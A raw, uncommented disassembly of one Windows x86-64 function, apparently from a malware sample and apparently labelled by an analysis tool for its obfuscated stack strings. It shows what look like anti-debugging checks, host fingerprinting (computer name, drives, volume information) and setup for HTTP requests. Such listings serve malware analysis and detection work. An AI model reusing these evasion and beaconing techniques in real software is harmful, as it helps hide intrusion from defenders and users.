Function at 0x140007530
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x9a8]
sub rsp, 0xaa0
mov rax, qword [0x14009f2b0]
xor rax, rsp
mov qword [rbp + 0x990], rax
movdqa xmm0, xmmword [0x140079510]
xor edi, edi
movdqa xmm1, xmmword [0x140079550]
xor eax, eax
movdqu xmmword [rbp + 0x7b0], xmm0
or rsi, 0xffffffffffffffff
mov qword [rbp + 8], rax
movdqa xmm0, xmmword [0x140079530]
lea ebx, [rdi + 0xf]
mov qword [rbp + 0x10], rax
mov r8, rsi
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x7b0]
mov qword [rsp + 0x60], rbx
movdqu xmmword [rbp + 0x7c0], xmm1
mov byte [rbp + 0x7e0], dil
movdqu xmmword [rbp + 0x7d0], xmm0
mov dword [rbp + 0x260], 0x73786761
mov dword [rbp + 0x264], 0x48737a59
mov dword [rbp + 0x268], 0x3d397077
mov byte [rbp + 0x26c], dil
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
inc r8
cmp byte [rax + r8], dil
jne 0x1400075ef
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x48]
call fcn.140005ec0
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 8]
call fcn.140003810
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
call fcn.1400058ac
mov dl, 0xb7
lea rcx, [rbp + 8]
call fcn.140004ee4
mov r8, qword [rbp + 0x10]
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 8]
mov r14d, 7
sub r8, rdx
mov qword [rbp - 0x18], r14
shr r8, 1
mov qword [rbp - 0x20], rdi
mov word [rbp - 0x30], di
call fcn.140006100
xor eax, eax
mov qword [rsp + 0x60], rbx
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rax
mov qword [rbp], rax
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
cmp byte [rbp + 0x260], dil
jne 0x140007685
mov r8, rdi
jmp 0x140007698
lea rax, [rbp + 0x260]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000768f
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x48]
call fcn.140005ec0
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x10]
call fcn.140003810
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
call fcn.1400058ac
mov dl, 0xb7
lea rcx, [rbp - 0x10]
call fcn.140004ee4
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x50]
mov rdx, qword [rbp - 0x10]
sub r8, rdx
mov qword [rbp - 0x38], r14
shr r8, 1
mov qword [rbp - 0x40], rdi
mov word [rbp - 0x50], di
call fcn.140006100
call fcn.140006f7c
call fcn.1400035a8
test al, al
jne 0x140008a3d
call fcn.140006f7c
call fcn.140006d68
test al, al
je 0x140008a3d
call fcn.140006f7c
call fcn.140003c04
test al, al
jne 0x140008a3d
call fcn.1400042ac
test al, al
jne 0x140008a3d
call fcn.1400030f0
test al, al
jne 0x140008a3d
call fcn.140006f7c
call fcn.140002f28
test al, al
jne 0x140008a3d
call fcn.140006f7c
call fcn.140003020
test al, al
jne 0x140008a3d
call fcn.140006f7c
lea rax, [rbp + 0x258]
mov dword [rbp + 0x258], 0x6e6f7565
mov r8, rsi
mov byte [rbp + 0x25c], dil
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x58], rdi
mov byte [rsp + 0x48], dil
inc r8
cmp byte [rax + r8], dil
jne 0x140007797
lea rdx, [rbp + 0x258]
lea rcx, [rsp + 0x48]
call fcn.140005ec0
lea rcx, [rsp + 0x48]
call fcn.140003364
xor r8d, r8d
lea rcx, [rsp + 0x48]
mov dl, 1
mov bl, al
call fcn.1400058ac
test bl, bl
je 0x140008a0f
xor eax, eax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
call fcn.140004750
mov r8, qword [rsp + 0x50]
lea r9, [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
lea rcx, [rbp + 0x218]
call fcn.140001420
call fcn.140006f7c
lea rcx, [rbp - 0x58]
mov dword [rbp - 0x58], 0x363831
call fcn.14005922c
mov ebx, eax
call fcn.140006f7c
xor eax, eax
lea rdx, [rbp + 0x218]
mov r8b, bl
mov qword [rbp + 0x20], rax
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x30], rax
call fcn.1400034bc
call fcn.140006f7c
call fcn.140003a40
xor r8d, r8d
mov dword [rbp - 0x78], eax
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call fcn.140002d78
call fcn.140006f7c
mov rcx, qword [rbp + 0x20]
lea r9, [rbp - 0x68]
xor eax, eax
mov qword [rbp - 0x60], rcx
mov qword [rbp - 0x70], rax
lea r8, [rbp - 0x60]
mov rax, qword [rbp + 0x28]
lea rdx, [rbp - 0x78]
sub rax, rcx
lea rcx, [rbp - 0x70]
mov qword [rbp - 0x68], rax
call fcn.14000206c
mov rbx, qword [rbp - 0x70]
mov rcx, rbx
call fcn.1400090ac
movdqa xmm0, xmmword [0x140079340]
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x890], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x8b0], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x8a0], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x8d0], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x8c0], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x8f0], xmm0
movdqa xmm0, xmmword [str.6esrg4B8zosFg386esrg4B8zosOg388esIg3P86esUg4186YsLg4d8zYsog4187osDg0z86esog41882sQg3B8k2sRg97812sPg3r86esrg4B86YsLg4d8zYsRg3F86YsLg4d8zYsng3F812sng3F8josHg3J84YrAgh812sag3J872sFg4n8merRg9J86osFg4n8merRg9J812sAg4h88esIg3P812sog4186osHg3X8zYrLg9n8terUg3X8kYsRg0d86YsMg0d83osrg4h85esRgh86YsLg4d8zYsAg4h86esUg418zosGg4h8merRg9J8zosGg4h8uerSg9r8zosGg4h8kosog0z852sog4h812sRg3F872sFg4n812sog4186osFg4n87YsDg3J86esng0r86YsLg4d8zYsPg3r8josHg3J8uerSg9r8k2sJg41852rMg4v882sLg4z85Yspg4v8mesPg4z86YsRg0z86osHg3X8kosog0z8GetComputerNameAqrstuvwxyzABCDEFiZ591H8zO3Fq5SYNGetLogicalDriveSguz0YV8Jsv12eJUGHIJKLMNOPQRSTUVevWLCYgVDQmwA5mYGetVolumeInformaWinHttpCloseHandWinHttpReceiveReQueryPerformanceRtlAdjustPrivileWinHttpSendRequeWinHttpOpenRequeCheckRemoteDebugGetModuleFileNamabcdefghijklmnopGlobalMemoryStat_]
movdqa xmmword [rbp + 0x8e0], xmm1
movdqa xmm1, xmmword [0x140079490]
movdqa xmmword [rbp + 0x910], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x900], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x270], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x280], xmm1
movdqa xmm1, xmmword [0x140079350]
movdqa xmmword [rbp + 0x290], xmm0
movdqa xmm0, xmmword [0x140079340]
mov dword [rbp + 0x920], 0x3d706535
mov byte [rbp + 0x924], dil
movdqa xmmword [rbp + 0x2a0], xmm1
mov dword [rbp + 0x2b0], 0x46736f7a
mov dword [rbp + 0x2b4], 0x382b3367
mov dword [rbp + 0x2b8], 0x3d706535
mov byte [rbp + 0x2bc], dil
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x710], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x730], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x750], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x720], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x770], xmm0
movdqa xmm0, xmmword [0x1400794e0]
movdqa xmmword [rbp + 0x740], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x790], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x760], xmm1
movdqa xmm1, xmmword [0x140079320]
movdqa xmmword [rbp + 0x930], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x780], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x950], xmm0
movdqa xmm0, xmmword [0x140079450]
movdqa xmmword [rbp + 0x940], xmm1
movdqa xmm1, xmmword [0x1400793d0]
movdqa xmmword [rbp + 0x970], xmm0
movdqa xmm0, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x960], xmm1
movdqa xmm1, xmmword [0x140079340]
movdqa xmmword [rbp + 0x3c0], xmm0
movdqa xmm0, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x3b0], xmm1
movdqa xmm1, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x3e0], xmm0
movdqa xmm0, xmmword [0x140079330]
movdqa xmmword [rbp + 0x3d0], xmm1
movdqa xmm1, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x400], xmm0
movdqa xmm0, xmmword [0x140079320]
movdqa xmmword [rbp + 0x3f0], xmm1
movdqa xmm1, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x420], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x410], xmm1
movdqa xmm1, xmmword [0x1400793b0]
movdqa xmmword [rbp + 0x590], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x430], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x5b0], xmm0
movdqa xmm0, xmmword [0x140079430]
movdqa xmmword [rbp + 0x5a0], xmm1
movdqa xmm1, xmmword [0x140079470]
movdqa xmmword [rbp + 0x5d0], xmm0
movdqa xmm0, xmmword [0x140079340]
movdqa xmmword [rbp + 0x5c0], xmm1
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x450], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x460], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x470], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x480], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x490], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x4a0], xmm1
movdqa xmm1, xmmword [0x140079370]
movdqa xmmword [rbp + 0x4b0], xmm0
mov dword [rbp + 0x7a0], 0x6f733235
mov dword [rbp + 0x7a4], 0x38683467
mov byte [rbp + 0x7a8], dil
mov byte [rbp + 0x980], dil
mov dword [rbp + 0x440], 0x47736f7a
mov dword [rbp + 0x444], 0x38683467
mov dword [rbp + 0x448], 0x3d703237
mov byte [rbp + 0x44c], dil
mov dword [rbp + 0x5e0], 0x3d703237
mov byte [rbp + 0x5e4], dil
movdqa xmmword [rbp + 0x4c0], xmm1
movdqa xmm0, xmmword [0x1400794a0]
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x4d0], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x5f0], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x610], xmm0
movdqa xmm0, xmmword [0x140079440]
movdqa xmmword [rbp + 0x630], xmm0
movdqa xmm0, xmmword [0x140079340]
movdqa xmmword [rbp + 0x4f0], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x510], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x600], xmm1
movdqa xmm1, xmmword [0x140079380]
movdqa xmmword [rbp + 0x530], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x620], xmm1
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x550], xmm0
movdqa xmm0, xmmword [0x1400793a0]
movdqa xmmword [rbp + 0x500], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x570], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x650], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x540], xmm1
movdqa xmm1, xmmword [0x140079360]
movdqa xmmword [rbp + 0x670], xmm0
movdqa xmm0, xmmword [0x140079430]
movdqa xmmword [rbp + 0x560], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x690], xmm0
movdqa xmm0, xmmword [0x140079340]
movdqa xmmword [rbp + 0x660], xmm1
movdqa xmm1, xmmword [0x140079460]
movdqa xmmword [rbp + 0x310], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x680], xmm1
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x330], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x320], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x350], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x340], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x370], xmm0
movdqa xmm0, xmmword [0x140079310]
movdqa xmmword [rbp + 0x360], xmm1
movdqa xmm1, xmmword [0x140079410]
movdqa xmmword [rbp + 0x390], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x380], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x6b0], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x6c0], xmm1
movdqa xmm1, xmmword [0x1400793c0]
movdqa xmmword [rbp + 0x6d0], xmm0
mov dword [rbp + 0x4e0], 0x47736f7a
mov dword [rbp + 0x4e4], 0x38683467
mov dword [rbp + 0x4e8], 0x3d703237
mov byte [rbp + 0x4ec], dil
mov dword [rbp + 0x640], 0x3d703237
mov byte [rbp + 0x644], dil
mov dword [rbp + 0x580], 0x47736f7a
mov dword [rbp + 0x584], 0x38683467
mov dword [rbp + 0x588], 0x3d703237
mov byte [rbp + 0x58c], dil
mov dword [rbp + 0x6a0], 0x3d703237
mov byte [rbp + 0x6a4], dil
mov dword [rbp + 0x3a0], 0x47736f7a
mov dword [rbp + 0x3a4], 0x38683467
mov dword [rbp + 0x3a8], 0x3d703237
mov byte [rbp + 0x3ac], dil
movdqa xmm0, xmmword [0x140079420]
movdqa xmmword [rbp + 0x6f0], xmm0
movdqa xmm0, xmmword [0x140079340]
movdqa xmmword [rbp + 0x7f0], xmm0
movdqa xmm0, xmmword [0x1400794b0]
movdqa xmmword [rbp + 0x6e0], xmm1
movdqa xmm1, xmmword [0x1400793e0]
movdqa xmmword [rbp + 0x810], xmm0
movdqa xmm0, xmmword [0x1400794c0]
movdqa xmmword [rbp + 0x800], xmm1
movdqa xmm1, xmmword [0x1400793f0]
movdqa xmmword [rbp + 0x830], xmm0
movdqa xmm0, xmmword [0x1400794d0]
movdqa xmmword [rbp + 0x820], xmm1
movdqa xmm1, xmmword [0x140079330]
movdqa xmmword [rbp + 0x850], xmm0
movdqa xmm0, xmmword [0x140079300]
movdqa xmmword [rbp + 0x840], xmm1
movdqa xmm1, xmmword [0x140079490]
movdqa xmmword [rbp + 0x870], xmm0
movdqa xmm0, xmmword [0x140079390]
movdqa xmmword [rbp + 0x860], xmm1
movdqa xmm1, xmmword [0x140079480]
movdqa xmmword [rbp + 0x2c0], xmm0
movdqa xmm0, xmmword [0x140079400]
movdqa xmmword [rbp + 0x2d0], xmm1
movdqa xmm1, xmmword [0x140079350]
movdqa xmmword [rbp + 0x2e0], xmm0
mov dword [rbp + 0x700], 0x3d703237
mov byte [rbp + 0x704], dil
mov dword [rbp + 0x880], 0x3d705935
mov byte [rbp + 0x884], dil
movdqa xmmword [rbp + 0x2f0], xmm1
mov dword [rbp + 0x300], 0x4f736f7a
mov dword [rbp + 0x304], 0x382b3367
mov dword [rbp + 0x308], 0x3d705935
mov byte [rbp + 0x30c], dil
call fcn.140006f7c
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x890], dil
jne 0x140008034
mov r8, rdi
jmp 0x140008047
lea rax, [rbp + 0x890]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000803e
lea rdx, [rbp + 0x890]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x38]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x270], dil
jne 0x14000809c
mov r8, rdi
jmp 0x1400080af
lea rax, [rbp + 0x270]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x1400080a6
lea rdx, [rbp + 0x270]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x710], dil
jne 0x140008123
mov r8, rdi
jmp 0x140008136
lea rax, [rbp + 0x710]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000812d
lea rdx, [rbp + 0x710]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x1b8]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x930], dil
jne 0x14000818e
mov r8, rdi
jmp 0x1400081a1
lea rax, [rbp + 0x930]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140008198
lea rdx, [rbp + 0x930]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x3b0], dil
jne 0x140008215
mov r8, rdi
jmp 0x140008228
lea rax, [rbp + 0x3b0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000821f
lea rdx, [rbp + 0x3b0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x178]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x590], dil
jne 0x140008280
mov r8, rdi
jmp 0x140008293
lea rax, [rbp + 0x590]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000828a
lea rdx, [rbp + 0x590]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x450], dil
jne 0x140008307
mov r8, rdi
jmp 0x14000831a
lea rax, [rbp + 0x450]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140008311
lea rdx, [rbp + 0x450]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x138]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x5f0], dil
jne 0x140008372
mov r8, rdi
jmp 0x140008385
lea rax, [rbp + 0x5f0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000837c
lea rdx, [rbp + 0x5f0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x118]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x4f0], dil
jne 0x1400083f9
mov r8, rdi
jmp 0x14000840c
lea rax, [rbp + 0x4f0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140008403
lea rdx, [rbp + 0x4f0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xf8]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x650], dil
jne 0x140008464
mov r8, rdi
jmp 0x140008477
lea rax, [rbp + 0x650]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000846e
lea rdx, [rbp + 0x650]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0xd8]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x310], dil
jne 0x1400084eb
mov r8, rdi
jmp 0x1400084fe
lea rax, [rbp + 0x310]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x1400084f5
lea rdx, [rbp + 0x310]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0xb8]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x6b0], dil
jne 0x140008556
mov r8, rdi
jmp 0x140008569
lea rax, [rbp + 0x6b0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x140008560
lea rdx, [rbp + 0x6b0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x98]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x7f0], dil
jne 0x1400085dd
mov r8, rdi
jmp 0x1400085f0
lea rax, [rbp + 0x7f0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x1400085e7
lea rdx, [rbp + 0x7f0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x78]
call fcn.1400034fc
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
xor r8d, r8d
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x38], rdi
lea rcx, [rsp + 0x20]
call fcn.1400058ac
cmp byte [rbp + 0x2c0], dil
jne 0x140008645
mov r8, rdi
jmp 0x140008658
lea rax, [rbp + 0x2c0]
mov r8, rsi
inc r8
cmp byte [rax + r8], dil
jne 0x14000864f
lea rdx, [rbp + 0x2c0]
lea rcx, [rsp + 0x20]
call fcn.140005ec0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400034fc
mov rdx, rax
lea rcx, [rbp + 0x58]
call fcn.140004dbc
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
call fcn.140006f7c
cmp qword [rbp + 0x1b0], 0x10
lea rdx, [rbp + 0x198]
lea rcx, [rbp + 0x1b8]
cmovae rdx, qword [rbp + 0x198]
cmp qword [rbp + 0x1d0], 8
cmovae rcx, qword [rbp + 0x1b8]
call fcn.140004a20
cmp qword [rbp + 0x170], 0x10
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x178]
cmovae rdx, qword [rbp + 0x158]
cmp qword [rbp + 0x190], 8
cmovae rcx, qword [rbp + 0x178]
call fcn.140004a20
cmp qword [rbp + 0x130], 0x10
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x138]
cmovae rdx, qword [rbp + 0x118]
cmp qword [rbp + 0x150], 8
cmovae rcx, qword [rbp + 0x138]
call fcn.140004a20
cmp qword [rbp + 0xf0], 0x10
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0xf8]
cmovae rdx, qword [rbp + 0xd8]
cmp qword [rbp + 0x110], 8
cmovae rcx, qword [rbp + 0xf8]
call fcn.140004a20
cmp qword [rbp + 0xb0], 0x10
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0xb8]
cmovae rdx, qword [rbp + 0x98]
cmp qword [rbp + 0xd0], 8
cmovae rcx, qword [rbp + 0xb8]
call fcn.140004a20
cmp qword [rbp + 0x70], 0x10
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x78]
cmovae rdx, qword [rbp + 0x58]
cmp qword [rbp + 0x90], 8
cmovae rcx, qword [rbp + 0x78]
call fcn.140004a20
cmp qword [rbp + 0x1f0], 0x10
lea r14, [rbp + 0x1d8]
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x30], rdi
cmovae r14, qword [rbp + 0x1d8]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x38], rdi
call fcn.1400058ac
cmp byte [r14], dil
jne 0x140008804
mov rsi, rdi
jmp 0x14000880d
inc rsi
cmp byte [r14 + rsi], dil
jne 0x140008804
mov r8, rsi
lea rcx, [rsp + 0x20]
mov rdx, r14
call fcn.140005ec0
cmp qword [rbp + 0x50], 8
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x68]
cmovae rdx, qword [rbp + 0x38]
call fcn.140002214
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.1400037d0
xor r8d, r8d
lea rcx, [rsp + 0x68]
mov dl, 1
call fcn.1400235b0
xor r8d, r8d
lea rcx, [rsp + 0x20]
mov dl, 1
call fcn.1400058ac
call fcn.140004564
call fcn.140006f7c
lea rcx, [rbp + 0x238]
call fcn.140006be4
call fcn.140006f7c
mov edx, 8
lea rcx, [rbp + 0x1f8]
call fcn.140006a14
call fcn.140006f7c
lea rcx, [rbp + 0x1f8]
call fcn.140007330
